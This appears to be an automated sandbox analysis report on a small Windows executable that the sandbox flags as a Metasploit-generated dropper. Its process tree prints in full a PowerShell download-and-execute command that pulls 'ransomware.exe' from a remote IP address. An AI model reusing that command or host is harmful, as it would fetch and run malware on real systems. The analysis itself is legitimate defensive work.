Analysis
-
max time kernel
122s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
-
submitted
07-06-2024 17:02
General
-
Target
download.exe
-
Size
4KB
-
MD5
512c08286e3d66c21987e05f09ce7125
-
SHA1
5a5970be0883565aeef9ab152713d6a41ac7daf6
-
SHA256
716b65a42612f32fa410f3365eae3e348b9f046d5678e280f8e448d8c6e7b852
-
SHA512
b20db24435d54afdbb4f89a307212622739ea9a63bd2c668214f0493e92d38edde0bf59aece36f89f7152a0039ba06169313a7cca0f671c645d00b8a50012cac
-
SSDEEP
96:pxd6xaXg+9n+O0Kv5jhB5IJuG7XZgD6tYTB9X:LM0dp+BKvhhEuG7peDB1
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
http://20.81.130.178:8080/ransomware.exe
Extracted
Family
metasploit
Version
encoder/shikata_ga_nai
Extracted
Family
metasploit
Version
windows/exec
Signatures
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Blocklisted process makes network request 1 IoCs
-
Downloads MZ/PE file
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\download.exe"C:\Users\Admin\AppData\Local\Temp\download.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "IEX(New-Object Net.webClient).downloadString('http://20.81.130.178:8080/ransomware.exe')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
16KB
-
Filesize
16KB
-
Filesize
4KB
-
Filesize
5.7MB
-
Filesize
5.7MB
-
Filesize
5.7MB
-
Filesize
5.7MB
-
Filesize
5.7MB
-
Filesize
5.7MB